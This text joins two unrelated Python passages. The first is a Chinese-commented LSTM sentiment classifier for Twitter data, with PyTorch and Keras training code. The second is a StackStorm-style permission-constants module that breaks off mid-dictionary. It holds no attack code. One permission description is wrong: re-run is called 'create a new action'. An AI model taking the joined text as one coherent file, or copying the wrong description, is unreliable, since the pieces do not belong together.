    correct = torch.sum(torch.eq(outputs, labels)).item()
    return correct

class Preprocess():
    def __init__(self, sentences, sen_len, w2v_path="w2v.model"):
        self.w2v_path = w2v_path
        self.sentences = sentences
        self.sen_len = sen_len
        self.idx2word = []
        self.word2idx = {}
        self.embedding_matrix = []
    def get_w2v_model(self):
        # 把之前訓練好的 word to vec 模型讀進來
        self.embedding = Word2Vec.load(self.w2v_path)
        self.embedding_dim = self.embedding.vector_size
    def add_embedding(self, word):
        # 把 word 加進 embedding，並賦予他一個隨機生成的 representation vector
        # word 只會是 "<PAD>" 或 "<UNK>"
        vector = torch.empty(1, self.embedding_dim)
        torch.nn.init.uniform_(vector)
        self.word2idx[word] = len(self.word2idx)
        self.idx2word.append(word)
        self.embedding_matrix = torch.cat([self.embedding_matrix, vector], 0)
    def make_embedding(self, load=True):
        print("Get embedding ...")
        # 取得訓練好的 Word2vec word embedding
        if load:
            print("loading word to vec model ...")
            self.get_w2v_model()
        else:
            raise NotImplementedError
        # 製作一個 word2idx 的 dictionary
        # 製作一個 idx2word 的 list
        # 製作一個 word2vector 的 list
        for i, word in enumerate(self.embedding.wv.vocab):
            print('get words #{}'.format(i+1), end='\r')
            #e.g. self.word2index['he'] = 1
            #e.g. self.index2word[1] = 'he'
            #e.g. self.vectors[1] = 'he' vector
            self.word2idx[word] = len(self.word2idx)
            self.idx2word.append(word)
            self.embedding_matrix.append(self.embedding[word])
        print('')
        self.embedding_matrix = torch.tensor(self.embedding_matrix)
        # 將 "<PAD>" 跟 "<UNK>" 加進 embedding 裡面
        self.add_embedding("<PAD>")
        self.add_embedding("<UNK>")
        print("total words: {}".format(len(self.embedding_matrix)))
        return self.embedding_matrix
    def pad_sequence(self, sentence):
        # 將每個句子變成一樣的長度
        if len(sentence) > self.sen_len:
            sentence = sentence[:self.sen_len]
        else:
            pad_len = self.sen_len - len(sentence)
            for _ in range(pad_len):
                sentence.append(self.word2idx["<PAD>"])
        assert len(sentence) == self.sen_len
        return sentence
    def sentence_word2idx(self):
        # 把句子裡面的字轉成相對應的 index
        sentence_list = []
        for i, sen in enumerate(self.sentences):
            print('sentence count #{}'.format(i+1), end='\r')
            sentence_idx = []
            for word in sen:
                if (word in self.word2idx.keys()):
                    sentence_idx.append(self.word2idx[word])
                else:
                    sentence_idx.append(self.word2idx["<UNK>"])
            # 將每個句子變成一樣的長度
            sentence_idx = self.pad_sequence(sentence_idx)
            sentence_list.append(sentence_idx)
        return torch.LongTensor(sentence_list)
    def labels_to_tensor(self, y):
        # 把 labels 轉成 tensor
        y = [int(label) for label in y]
        return torch.LongTensor(y)

############################  Dataset ############################
class TwitterDataset(data.Dataset):
    """
    Expected data shape like:(data_num, data_len)
    Data can be a list of numpy array or a list of lists
    input data shape : (data_num, seq_len, feature_dim)

    __len__ will return the number of data
    """
    def __init__(self, X, y):
        self.data = X
        self.label = y
    def __getitem__(self, idx):
        if self.label is None: return self.data[idx]
        return self.data[idx], self.label[idx]
    def __len__(self):
        return len(self.data)

############################   LSTM   ############################
class LSTM_Net(nn.Module):
    def __init__(self, embedding, embedding_dim, hidden_dim, num_layers, dropout=0.5, fix_embedding=True):
        super(LSTM_Net, self).__init__()
        # 製作 embedding layer
        self.embedding = torch.nn.Embedding(embedding.size(0),embedding.size(1))
        self.embedding.weight = torch.nn.Parameter(embedding)
        # 是否將 embedding fix 住，如果 fix_embedding 為 False，在訓練過程中，embedding 也會跟著被訓練
        self.embedding.weight.requires_grad = False if fix_embedding else True
        self.embedding_dim = embedding.size(1)
        self.hidden_dim = hidden_dim
        self.num_layers = num_layers
        self.dropout = dropout
        self.lstm = nn.LSTM(embedding_dim, hidden_dim, num_layers=num_layers, batch_first=True , bidirectional= True)
        self.classifier = nn.Sequential( nn.ReLU(),
                                         nn.Dropout(dropout),
                                         nn.Linear(hidden_dim*2 , 32),
                                         nn.BatchNorm1d(32) ,
                                         nn.ReLU(),
                                         nn.Dropout(dropout),
                                         nn.Linear(32, 4),
                                         nn.BatchNorm1d(4) ,
                                         nn.ReLU(),
                                         nn.Dropout(dropout),
                                         nn.Linear(4, 1),
                                         nn.Sigmoid() )
    def forward(self, inputs):
        inputs = self.embedding(inputs)
        x, _ = self.lstm(inputs, None)
        # x 的 dimension (batch, seq_len, hidden_size)
        # 取用 LSTM 最後一層的 hidden state
        x = x[:, -1, :]
        x = self.classifier(x)
        return x

############################   Train   ###########################
def training(batch_size, n_epoch, lr, train, valid, model, device):
    total = sum(p.numel() for p in model.parameters())
    trainable = sum(p.numel() for p in model.parameters() if p.requires_grad)
    print('\nstart training, parameter total:{}, trainable:{}\n'.format(total, trainable))

    model.train() # 將 model 的模式設為 train，這樣 optimizer 就可以更新 model 的參數
    #criterion = nn.BCELoss() # 定義損失函數，這裡我們使用 binary cross entropy loss
    t_batch = len(train)
    v_batch = len(valid)
    #optimizer = optim.Adam(model.parameters(), lr=lr) # 將模型的參數給 optimizer，並給予適當的 learning rate
    optimizer = torch.optim.Adam(model.parameters(), lr=lr )
    total_loss, total_acc, best_acc = 0, 0, 0
    for epoch in range(n_epoch):
        total_loss, total_acc = 0, 0
        # 這段做 training
        for i, (inputs, labels) in enumerate(train):
            inputs = inputs.to(dtype=torch.long) # device 為 "cuda"，將 inputs 轉成 torch.cuda.LongTensor
            labels = labels.to(dtype=torch.float) # device為 "cuda"，將 labels 轉成 torch.cuda.FloatTensor，因為等等要餵進 criterion，所以型態要是 float
            optimizer.zero_grad() # 由於 loss.backward() 的 gradient 會累加，所以每次餵完一個 batch 後需要歸零
            outputs = model(inputs) # 將 input 餵給模型

            outputs = outputs.squeeze() # 去掉最外面的 dimension，好讓 outputs 可以餵進 criterion()
            loss = F.binary_cross_entropy(outputs , labels) # 計算此時模型的 training loss

            loss.backward() # 算 loss 的 gradient
            optimizer.step() # 更新訓練模型的參數

            # zero grad before new step
            optimizer.zero_grad()

            correct = evaluation(outputs, labels) # 計算此時模型的 training accuracy
            total_acc += (correct / batch_size)
            total_loss += loss.item()

            print('[ Epoch{}: {}/{} ] loss:{:.3f} acc:{:.3f} '.format(
            	epoch+1, i+1, t_batch, loss.item(), correct*100/batch_size), end='\r')
        print('\nTrain | Loss:{:.5f} Acc: {:.3f}'.format(total_loss/t_batch, total_acc/t_batch*100))

        # 這段做 validation
        model.eval() # 將 model 的模式設為 eval，這樣 model 的參數就會固定住
        with torch.no_grad():
            total_loss, total_acc = 0, 0
            for i, (inputs, labels) in enumerate(valid):
                inputs = inputs.to(dtype=torch.long) # device 為 "cuda"，將 inputs 轉成 torch.cuda.LongTensor
                labels = labels.to(dtype=torch.float) # device 為 "cuda"，將 labels 轉成 torch.cuda.FloatTensor，因為等等要餵進 criterion，所以型態要是 float

                outputs = model(inputs) # 將 input 餵給模型
                outputs = outputs.squeeze() # 去掉最外面的 dimension，好讓 outputs 可以餵進 criterion()
                loss = F.binary_cross_entropy(outputs , labels) # 計算此時模型的 validation loss

                correct = evaluation(outputs, labels) # 計算此時模型的 validation accuracy
                total_acc += (correct / batch_size)
                total_loss += loss.item()

            print("Valid | Loss:{:.5f} Acc: {:.3f} ".format(total_loss/v_batch, total_acc/v_batch*100))
            if total_acc > best_acc:
                # 如果 validation 的結果優於之前所有的結果，就把當下的模型存下來以備之後做預測時使用
                best_acc = total_acc
                #torch.save(model, "{}/val_acc_{:.3f}.model".format(model_dir,total_acc/v_batch*100))
                torch.save(model, "ckpt.model")
                print('saving model with acc {:.3f}'.format(total_acc/v_batch*100))
        print('-----------------------------------------------')
        model.train() # 將 model 的模式設為 train，這樣 optimizer 就可以更新 model 的參數（因為剛剛轉成 eval 模式）

############################  Keras Train   ###########################
def keras_train(embedding, X_train, X_val, y_train, y_val):
    print(type(y_train))
    print(type(X_train))
    print(type(X_val))
    print(type(y_val))
    embedding_layer = Embedding(input_dim=embedding.shape[0],
                            output_dim=embedding.shape[1],
                            weights=[embedding],
                            trainable=False )

    lrate = ReduceLROnPlateau(monitor='val_accuracy',
                                factor=0.2,
                                patience=2,
                                verbose=1,
                                min_lr=0.00000001)
    earlystopping = EarlyStopping(monitor='val_accuracy',
                                    patience=10,
                                    verbose=1,
                                    mode='auto')

    drop_rate =0.4
    model = Sequential()
    model.add(embedding_layer)
    model.add(Bidirectional(LSTM(256, activation='tanh', kernel_initializer='Orthogonal', recurrent_initializer='Orthogonal', return_sequences=True, unit_forget_bias=False, dropout=drop_rate, recurrent_dropout=drop_rate), merge_mode='sum'))
    #model.add(Bidirectional(LSTM(256, activation='tanh', kernel_initializer='Orthogonal', recurrent_initializer='Orthogonal', return_sequences=False, unit_forget_bias=False, dropout=drop_rate, recurrent_dropout=drop_rate), merge_mode='sum'))
    model.add(Dense(256))
    model.add(Dropout(drop_rate))
    model.add(LeakyReLU(0.2))
    model.add(Dense(64))
    model.add(Dropout(drop_rate))
    model.add(LeakyReLU(0.2))
    model.add(Dense(1))
    model.add(Activation('sigmoid'))
    adam = optimizers.Adam(lr=0.002, clipvalue=1, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0)

    model.compile(optimizer=adam, loss='binary_crossentropy', metrics=['accuracy'])
    model.summary()

    model.fit(x=X_train, y=y_train, batch_size=512, epochs=5, validation_data=(X_val, y_val),
            callbacks=[ lrate, earlystopping], shuffle=True)

    result_train = model.evaluate(X_train,y_train)
    print('Train Acc:', result_train[1])
    result_val = model.evaluate(X_val,y_val)
    print('Val Acc:', result_val[1])

    model.save('keras_model.h5')

def main():
    device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
    # 處理好各個 data 的路徑
    train_with_label = 'training_label.txt'
    train_no_label = 'training_nolabel.txt'
    testing_data = 'testing_data.txt'

    w2v_path = 'w2v_all.model' # 處理 word to vec model 的路徑

    # 定義句子長度、要不要固定 embedding、batch 大小、要訓練幾個 epoch、learning rate 的值、model 的資料夾路徑
    sen_len = 20
    fix_embedding = True # fix embedding during training
    batch_size = 128
    epoch = 10
    lr = 0.002

    print("loading data ...") # 把 'training_label.txt' 跟 'training_nolabel.txt' 讀進來
    train_x, y = load_training_data(train_with_label)
    #print('train_x',train_x[:10])

    # 對 input 跟 labels 做預處理
    preprocess = Preprocess(train_x, sen_len, w2v_path=w2v_path)
    embedding = preprocess.make_embedding(load=True)
    train_x = preprocess.sentence_word2idx()
    y = preprocess.labels_to_tensor(y)

    # 製作一個 model 的對象
    # model = LSTM_Net(embedding, embedding_dim=250, hidden_dim=150, num_layers=1, dropout=0.5, fix_embedding=fix_embedding)
    # model = model.to(device)
    # # device為 "cuda"，model 使用 GPU 來訓練（餵進去的 inputs 也需要是 cuda tensor）

    # 把 data 分为 training data 和 validation data（将一部分 training data 作为 validation data）
    X_train, X_val, y_train, y_val = train_test_split(train_x, y, test_size = 0.1, random_state = 1, stratify = y)
    # print('Train | Len:{} \nValid | Len:{}'.format(len(y_train), len(y_val)))
    # #input('stop')
    # #print(type(X_train))
    # #input('stop')
    # # 把 data 做成 dataset 供 dataloader 取用
    # print(type(X_train.numpy()))
    # print(type(y_train.numpy()))
    # train_dataset = TwitterDataset(X=X_train, y=y_train)
    # val_dataset = TwitterDataset(X=X_val, y=y_val)
    # #####################

    # # 把 data 轉成 batch of tensors
    # train_loader = torch.utils.data.DataLoader(dataset = train_dataset,
    #                                             batch_size = batch_size,
    #                                             shuffle = True,
    #                                             num_workers = 8)

    # val_loader = torch.utils.data.DataLoader(dataset = val_dataset,
    #                                             batch_size = batch_size,
    #                                             shuffle = False,
    #                                             num_workers = 8)
    # #################

    # # 開始訓練
    # training(batch_size, epoch, lr , train_loader, val_loader, model, device)
    keras_train(embedding , X_train.numpy() , X_val.numpy() , y_train.numpy() , y_val.numpy())

if(__name__ == '__main__'):
    main()


from __future__ import absolute_import
import six
import itertools

from st2common.util.enum import Enum
from st2common.constants.types import ResourceType as SystemResourceType

__all__ = [
    "SystemRole",
    "PermissionType",
    "ResourceType",
    "RESOURCE_TYPE_TO_PERMISSION_TYPES_MAP",
    "PERMISION_TYPE_TO_DESCRIPTION_MAP",
    "ALL_PERMISSION_TYPES",
    "GLOBAL_PERMISSION_TYPES",
    "GLOBAL_PACK_PERMISSION_TYPES",
    "LIST_PERMISSION_TYPES",
    "get_resource_permission_types_with_descriptions",
]

class PermissionType(Enum):
    """
    Available permission types.
    """

    # Note: There is no create endpoint for runner types right now
    RUNNER_LIST = "runner_type_list"
    RUNNER_VIEW = "runner_type_view"
    RUNNER_MODIFY = "runner_type_modify"
    RUNNER_ALL = "runner_type_all"

    PACK_LIST = "pack_list"
    PACK_VIEW = "pack_view"
    PACK_CREATE = "pack_create"
    PACK_MODIFY = "pack_modify"
    PACK_DELETE = "pack_delete"

    # Pack-management specific permissions
    # Note: Right now those permissions are global and apply to all the packs.
    # In the future we plan to support globs.
    PACK_INSTALL = "pack_install"
    PACK_UNINSTALL = "pack_uninstall"
    PACK_REGISTER = "pack_register"
    PACK_CONFIG = "pack_config"
    PACK_SEARCH = "pack_search"
    PACK_VIEWS_INDEX_HEALTH = "pack_views_index_health"

    PACK_ALL = "pack_all"

    # Note: Right now we only have read endpoints + update for sensors types
    SENSOR_LIST = "sensor_type_list"
    SENSOR_VIEW = "sensor_type_view"
    SENSOR_MODIFY = "sensor_type_modify"
    SENSOR_ALL = "sensor_type_all"

    ACTION_LIST = "action_list"
    ACTION_VIEW = "action_view"
    ACTION_CREATE = "action_create"
    ACTION_MODIFY = "action_modify"
    ACTION_DELETE = "action_delete"
    ACTION_EXECUTE = "action_execute"
    ACTION_ALL = "action_all"

    ACTION_ALIAS_LIST = "action_alias_list"
    ACTION_ALIAS_VIEW = "action_alias_view"
    ACTION_ALIAS_CREATE = "action_alias_create"
    ACTION_ALIAS_MODIFY = "action_alias_modify"
    ACTION_ALIAS_MATCH = "action_alias_match"
    ACTION_ALIAS_HELP = "action_alias_help"
    ACTION_ALIAS_DELETE = "action_alias_delete"
    ACTION_ALIAS_ALL = "action_alias_all"

    # Note: Execution create is granted with "action_execute"
    EXECUTION_LIST = "execution_list"
    EXECUTION_VIEW = "execution_view"
    EXECUTION_RE_RUN = "execution_rerun"
    EXECUTION_STOP = "execution_stop"
    EXECUTION_ALL = "execution_all"
    EXECUTION_VIEWS_FILTERS_LIST = "execution_views_filters_list"

    RULE_LIST = "rule_list"
    RULE_VIEW = "rule_view"
    RULE_CREATE = "rule_create"
    RULE_MODIFY = "rule_modify"
    RULE_DELETE = "rule_delete"
    RULE_ALL = "rule_all"

    RULE_ENFORCEMENT_LIST = "rule_enforcement_list"
    RULE_ENFORCEMENT_VIEW = "rule_enforcement_view"

    # TODO - Maybe "datastore_item" / key_value_item ?
    KEY_VALUE_PAIR_LIST = "key_value_pair_list"
    KEY_VALUE_PAIR_VIEW = "key_value_pair_view"
    KEY_VALUE_PAIR_SET = "key_value_pair_set"
    KEY_VALUE_PAIR_DELETE = "key_value_pair_delete"
    KEY_VALUE_PAIR_ALL = "key_value_pair_all"

    WEBHOOK_LIST = "webhook_list"
    WEBHOOK_VIEW = "webhook_view"
    WEBHOOK_CREATE = "webhook_create"
    WEBHOOK_SEND = "webhook_send"
    WEBHOOK_DELETE = "webhook_delete"
    WEBHOOK_ALL = "webhook_all"

    TIMER_LIST = "timer_list"
    TIMER_VIEW = "timer_view"
    TIMER_ALL = "timer_all"

    API_KEY_LIST = "api_key_list"
    API_KEY_VIEW = "api_key_view"
    API_KEY_CREATE = "api_key_create"
    API_KEY_MODIFY = "api_key_modify"
    API_KEY_DELETE = "api_key_delete"
    API_KEY_ALL = "api_key_all"

    TRACE_LIST = "trace_list"
    TRACE_VIEW = "trace_view"
    TRACE_ALL = "trace_all"

    # Note: Trigger permissions types are also used for Timer API endpoint since timer is just
    # a special type of a trigger
    TRIGGER_LIST = "trigger_list"
    TRIGGER_VIEW = "trigger_view"
    TRIGGER_ALL = "trigger_all"

    POLICY_TYPE_LIST = "policy_type_list"
    POLICY_TYPE_VIEW = "policy_type_view"
    POLICY_TYPE_ALL = "policy_type_all"

    POLICY_LIST = "policy_list"
    POLICY_VIEW = "policy_view"
    POLICY_CREATE = "policy_create"
    POLICY_MODIFY = "policy_modify"
    POLICY_DELETE = "policy_delete"
    POLICY_ALL = "policy_all"

    STREAM_VIEW = "stream_view"

    INQUIRY_LIST = "inquiry_list"
    INQUIRY_VIEW = "inquiry_view"
    INQUIRY_RESPOND = "inquiry_respond"
    INQUIRY_ALL = "inquiry_all"

    @classmethod
    def get_valid_permissions_for_resource_type(cls, resource_type):
        """
        Return valid permissions for the provided resource type.

        :rtype: ``list``
        """
        valid_permissions = RESOURCE_TYPE_TO_PERMISSION_TYPES_MAP[resource_type]
        return valid_permissions

    @classmethod
    def get_resource_type(cls, permission_type):
        """
        Retrieve resource type from the provided permission type.

        :rtype: ``str``
        """
        # Special case for:
        # * PACK_VIEWS_INDEX_HEALTH
        # * EXECUTION_VIEWS_FILTERS_LIST
        if permission_type == PermissionType.PACK_VIEWS_INDEX_HEALTH:
            return ResourceType.PACK
        elif permission_type == PermissionType.EXECUTION_VIEWS_FILTERS_LIST:
            return ResourceType.EXECUTION

        split = permission_type.split("_")
        if len(split) < 2:
            raise ValueError(
                f"The permission_type {permission_type} doesn't have an underscore."
            )

        return "_".join(split[:-1])

    @classmethod
    def get_permission_name(cls, permission_type):
        """
        Retrieve permission name from the provided permission type.

        :rtype: ``str``
        """
        split = permission_type.split("_")
        if len(split) < 2:
            raise ValueError(
                f"The permission_type {permission_type} doesn't have an underscore."
            )

        # Special case for PACK_VIEWS_INDEX_HEALTH
        if permission_type == PermissionType.PACK_VIEWS_INDEX_HEALTH:
            split = permission_type.split("_", 1)
            return split[1]

        return split[-1]

    @classmethod
    def get_permission_description(cls, permission_type):
        """
        Retrieve a description for the provided permission_type.

        :rtype: ``str``
        """
        description = PERMISION_TYPE_TO_DESCRIPTION_MAP[permission_type]
        return description

    @classmethod
    def get_permission_type(cls, resource_type, permission_name):
        """
        Retrieve permission type enum value for the provided resource type and permission name.

        :rtype: ``str``
        """
        # Special case for sensor type (sensor_type -> sensor)
        if resource_type == ResourceType.SENSOR:
            resource_type = "sensor"

        permission_enum = "%s_%s" % (resource_type.upper(), permission_name.upper())
        result = getattr(cls, permission_enum, None)

        if not result:
            raise ValueError(
                'Unsupported permission type for type "%s" and name "%s"'
                % (resource_type, permission_name)
            )

        return result

class ResourceType(Enum):
    """
    Resource types on which permissions can be granted.
    """

    RUNNER = SystemResourceType.RUNNER_TYPE

    PACK = SystemResourceType.PACK
    SENSOR = SystemResourceType.SENSOR_TYPE
    ACTION = SystemResourceType.ACTION
    ACTION_ALIAS = SystemResourceType.ACTION_ALIAS
    RULE = SystemResourceType.RULE
    RULE_ENFORCEMENT = SystemResourceType.RULE_ENFORCEMENT
    POLICY_TYPE = SystemResourceType.POLICY_TYPE
    POLICY = SystemResourceType.POLICY

    EXECUTION = SystemResourceType.EXECUTION
    KEY_VALUE_PAIR = SystemResourceType.KEY_VALUE_PAIR
    WEBHOOK = SystemResourceType.WEBHOOK
    TIMER = SystemResourceType.TIMER
    API_KEY = SystemResourceType.API_KEY
    TRACE = SystemResourceType.TRACE
    TRIGGER = SystemResourceType.TRIGGER
    STREAM = SystemResourceType.STREAM
    INQUIRY = SystemResourceType.INQUIRY

class SystemRole(Enum):
    """
    Default system roles which can't be manipulated (modified or removed).
    """

    SYSTEM_ADMIN = "system_admin"  # Special role which can't be revoked.
    ADMIN = "admin"
    OBSERVER = "observer"

# Maps a list of available permission types for each resource
RESOURCE_TYPE_TO_PERMISSION_TYPES_MAP = {
    ResourceType.RUNNER: [
        PermissionType.RUNNER_LIST,
        PermissionType.RUNNER_VIEW,
        PermissionType.RUNNER_MODIFY,
        PermissionType.RUNNER_ALL,
    ],
    ResourceType.PACK: [
        PermissionType.PACK_LIST,
        PermissionType.PACK_VIEW,
        PermissionType.PACK_CREATE,
        PermissionType.PACK_MODIFY,
        PermissionType.PACK_DELETE,
        PermissionType.PACK_INSTALL,
        PermissionType.PACK_UNINSTALL,
        PermissionType.PACK_REGISTER,
        PermissionType.PACK_CONFIG,
        PermissionType.PACK_SEARCH,
        PermissionType.PACK_VIEWS_INDEX_HEALTH,
        PermissionType.PACK_ALL,
        PermissionType.SENSOR_VIEW,
        PermissionType.SENSOR_MODIFY,
        PermissionType.SENSOR_ALL,
        PermissionType.ACTION_VIEW,
        PermissionType.ACTION_CREATE,
        PermissionType.ACTION_MODIFY,
        PermissionType.ACTION_DELETE,
        PermissionType.ACTION_EXECUTE,
        PermissionType.ACTION_ALL,
        PermissionType.ACTION_ALIAS_VIEW,
        PermissionType.ACTION_ALIAS_CREATE,
        PermissionType.ACTION_ALIAS_MODIFY,
        PermissionType.ACTION_ALIAS_DELETE,
        PermissionType.ACTION_ALIAS_ALL,
        PermissionType.RULE_VIEW,
        PermissionType.RULE_CREATE,
        PermissionType.RULE_MODIFY,
        PermissionType.RULE_DELETE,
        PermissionType.RULE_ALL,
    ],
    ResourceType.SENSOR: [
        PermissionType.SENSOR_LIST,
        PermissionType.SENSOR_VIEW,
        PermissionType.SENSOR_MODIFY,
        PermissionType.SENSOR_ALL,
    ],
    ResourceType.ACTION: [
        PermissionType.ACTION_LIST,
        PermissionType.ACTION_VIEW,
        PermissionType.ACTION_CREATE,
        PermissionType.ACTION_MODIFY,
        PermissionType.ACTION_DELETE,
        PermissionType.ACTION_EXECUTE,
        PermissionType.ACTION_ALL,
    ],
    ResourceType.ACTION_ALIAS: [
        PermissionType.ACTION_ALIAS_LIST,
        PermissionType.ACTION_ALIAS_VIEW,
        PermissionType.ACTION_ALIAS_CREATE,
        PermissionType.ACTION_ALIAS_MODIFY,
        PermissionType.ACTION_ALIAS_MATCH,
        PermissionType.ACTION_ALIAS_HELP,
        PermissionType.ACTION_ALIAS_DELETE,
        PermissionType.ACTION_ALIAS_ALL,
    ],
    ResourceType.RULE: [
        PermissionType.RULE_LIST,
        PermissionType.RULE_VIEW,
        PermissionType.RULE_CREATE,
        PermissionType.RULE_MODIFY,
        PermissionType.RULE_DELETE,
        PermissionType.RULE_ALL,
    ],
    ResourceType.RULE_ENFORCEMENT: [
        PermissionType.RULE_ENFORCEMENT_LIST,
        PermissionType.RULE_ENFORCEMENT_VIEW,
    ],
    ResourceType.EXECUTION: [
        PermissionType.EXECUTION_LIST,
        PermissionType.EXECUTION_VIEW,
        PermissionType.EXECUTION_RE_RUN,
        PermissionType.EXECUTION_STOP,
        PermissionType.EXECUTION_ALL,
        PermissionType.EXECUTION_VIEWS_FILTERS_LIST,
    ],
    ResourceType.KEY_VALUE_PAIR: [
        PermissionType.KEY_VALUE_PAIR_LIST,
        PermissionType.KEY_VALUE_PAIR_VIEW,
        PermissionType.KEY_VALUE_PAIR_SET,
        PermissionType.KEY_VALUE_PAIR_DELETE,
        PermissionType.KEY_VALUE_PAIR_ALL,
    ],
    ResourceType.WEBHOOK: [
        PermissionType.WEBHOOK_LIST,
        PermissionType.WEBHOOK_VIEW,
        PermissionType.WEBHOOK_CREATE,
        PermissionType.WEBHOOK_SEND,
        PermissionType.WEBHOOK_DELETE,
        PermissionType.WEBHOOK_ALL,
    ],
    ResourceType.TIMER: [
        PermissionType.TIMER_LIST,
        PermissionType.TIMER_VIEW,
        PermissionType.TIMER_ALL,
    ],
    ResourceType.API_KEY: [
        PermissionType.API_KEY_LIST,
        PermissionType.API_KEY_VIEW,
        PermissionType.API_KEY_CREATE,
        PermissionType.API_KEY_MODIFY,
        PermissionType.API_KEY_DELETE,
        PermissionType.API_KEY_ALL,
    ],
    ResourceType.TRACE: [
        PermissionType.TRACE_LIST,
        PermissionType.TRACE_VIEW,
        PermissionType.TRACE_ALL,
    ],
    ResourceType.TRIGGER: [
        PermissionType.TRIGGER_LIST,
        PermissionType.TRIGGER_VIEW,
        PermissionType.TRIGGER_ALL,
    ],
    ResourceType.POLICY_TYPE: [
        PermissionType.POLICY_TYPE_LIST,
        PermissionType.POLICY_TYPE_VIEW,
        PermissionType.POLICY_TYPE_ALL,
    ],
    ResourceType.POLICY: [
        PermissionType.POLICY_LIST,
        PermissionType.POLICY_VIEW,
        PermissionType.POLICY_CREATE,
        PermissionType.POLICY_MODIFY,
        PermissionType.POLICY_DELETE,
        PermissionType.POLICY_ALL,
    ],
    ResourceType.INQUIRY: [
        PermissionType.INQUIRY_LIST,
        PermissionType.INQUIRY_VIEW,
        PermissionType.INQUIRY_RESPOND,
        PermissionType.INQUIRY_ALL,
    ],
}

ALL_PERMISSION_TYPES = list(RESOURCE_TYPE_TO_PERMISSION_TYPES_MAP.values())
ALL_PERMISSION_TYPES = list(itertools.chain(*ALL_PERMISSION_TYPES))
LIST_PERMISSION_TYPES = [
    permission_type
    for permission_type in ALL_PERMISSION_TYPES
    if permission_type.endswith("_list")
]

# List of global permissions (ones which don't apply to a specific resource)
GLOBAL_PERMISSION_TYPES = [
    # Pack global permission types
    PermissionType.PACK_INSTALL,
    PermissionType.PACK_UNINSTALL,
    PermissionType.PACK_CREATE,
    PermissionType.PACK_REGISTER,
    PermissionType.PACK_CONFIG,
    PermissionType.PACK_SEARCH,
    PermissionType.PACK_VIEWS_INDEX_HEALTH,
    # Action alias global permission types
    PermissionType.ACTION_ALIAS_MATCH,
    PermissionType.ACTION_ALIAS_HELP,
    # API key global permission types
    PermissionType.API_KEY_CREATE,
    # Policy global permission types
    PermissionType.POLICY_CREATE,
    # Execution
    PermissionType.EXECUTION_VIEWS_FILTERS_LIST,
    # Stream
    PermissionType.STREAM_VIEW,
    # Inquiry
    PermissionType.INQUIRY_LIST,
    PermissionType.INQUIRY_RESPOND,
    PermissionType.INQUIRY_VIEW,
] + LIST_PERMISSION_TYPES

GLOBAL_PACK_PERMISSION_TYPES = [
    permission_type
    for permission_type in GLOBAL_PERMISSION_TYPES
    if permission_type.startswith("pack_")
]

# Maps a permission type to the corresponding description
PERMISION_TYPE_TO_DESCRIPTION_MAP = {
    PermissionType.PACK_LIST: "Ability to list (view all) packs.",
    PermissionType.PACK_VIEW: "Ability to view a pack.",
    PermissionType.PACK_CREATE: "Ability to create a new pack.",
    PermissionType.PACK_MODIFY: "Ability to modify (update) an existing pack.",
    PermissionType.PACK_DELETE: "Ability to delete an existing pack.",
    PermissionType.PACK_INSTALL: "Ability to install packs.",
    PermissionType.PACK_UNINSTALL: "Ability to uninstall packs.",
    PermissionType.PACK_REGISTER: "Ability to register packs and corresponding resources.",
    PermissionType.PACK_CONFIG: "Ability to configure a pack.",
    PermissionType.PACK_SEARCH: "Ability to query registry and search packs.",
    PermissionType.PACK_VIEWS_INDEX_HEALTH: "Ability to query health of pack registries.",
    PermissionType.PACK_ALL: (
        "Ability to perform all the supported operations on a particular " "pack."
    ),
    PermissionType.SENSOR_LIST: "Ability to list (view all) sensors.",
    PermissionType.SENSOR_VIEW: "Ability to view a sensor",
    PermissionType.SENSOR_MODIFY: (
        "Ability to modify (update) an existing sensor. Also implies "
        '"sensor_type_view" permission.'
    ),
    PermissionType.SENSOR_ALL: (
        "Ability to perform all the supported operations on a particular " "sensor."
    ),
    PermissionType.ACTION_LIST: "Ability to list (view all) actions.",
    PermissionType.ACTION_VIEW: "Ability to view an action.",
    PermissionType.ACTION_CREATE: (
        'Ability to create a new action. Also implies "action_view" ' "permission."
    ),
    PermissionType.ACTION_MODIFY: (
        "Ability to modify (update) an existing action. Also implies "
        '"action_view" permission.'
    ),
    PermissionType.ACTION_DELETE: (
        "Ability to delete an existing action. Also implies "
        '"action_view" permission.'
    ),
    PermissionType.ACTION_EXECUTE: (
        "Ability to execute (run) an action. Also implies " '"action_view" permission.'
    ),
    PermissionType.ACTION_ALL: (
        "Ability to perform all the supported operations on a particular " "action."
    ),
    PermissionType.ACTION_ALIAS_LIST: "Ability to list (view all) action aliases.",
    PermissionType.ACTION_ALIAS_VIEW: "Ability to view an action alias.",
    PermissionType.ACTION_ALIAS_CREATE: (
        "Ability to create a new action alias. Also implies"
        ' "action_alias_view" permission.'
    ),
    PermissionType.ACTION_ALIAS_MODIFY: (
        "Ability to modify (update) an existing action alias. "
        'Also implies "action_alias_view" permission.'
    ),
    PermissionType.ACTION_ALIAS_MATCH: (
        "Ability to use action alias match API endpoint."
    ),
    PermissionType.ACTION_ALIAS_HELP: (
        "Ability to use action alias help API endpoint."
    ),
    PermissionType.ACTION_ALIAS_DELETE: (
        "Ability to delete an existing action alias. Also "
        'implies "action_alias_view" permission.'
    ),
    PermissionType.ACTION_ALIAS_ALL: (
        "Ability to perform all the supported operations on a "
        "particular action alias."
    ),
    PermissionType.EXECUTION_LIST: "Ability to list (view all) executions.",
    PermissionType.EXECUTION_VIEW: "Ability to view an execution.",
    PermissionType.EXECUTION_RE_RUN: "Ability to create a new action.",
    PermissionType.EXECUTION_STOP: "Ability to stop (cancel) a running execution.",
    PermissionType.EXECUTION_ALL: (
        "Ability to perform all the supported operations on a " "particular execution."
    ),
    PermissionType.EXECUTION_VIEWS_FILTERS_LIST: (
        "Ability view all the distinct execution " "filters."
    ),
    PermissionType.RULE_LIST: "Ability to list (view all) rules.",
    PermissionType.RULE_VIEW: "Ability to view a rule.",
    PermissionType.RULE_CREATE: (
        'Ability to create a new rule. Also implies "rule_view" ' "permission"
    ),
    PermissionType.RULE_MODIFY: (
        "Ability to modify (update) an existing rule. Also implies "
        '"rule_view" permission.'
    ),
    PermissionType.RULE_DELETE: (
        'Ability to delete an existing rule. Also implies "rule_view" ' "permission."
    ),
    PermissionType.RULE_ALL: (
        "Ability to perform all the supported operations on a particular " "rule."
    ),
    PermissionType.RULE_ENFORCEMENT_LIST: "Ability to list (view all) rule enforcements.",
    PermissionType.RULE_ENFORCEMENT_VIEW: "Ability to view a rule enforcement.",
    PermissionType.RUNNER_LIST: "Ability to list (view all) runners.",
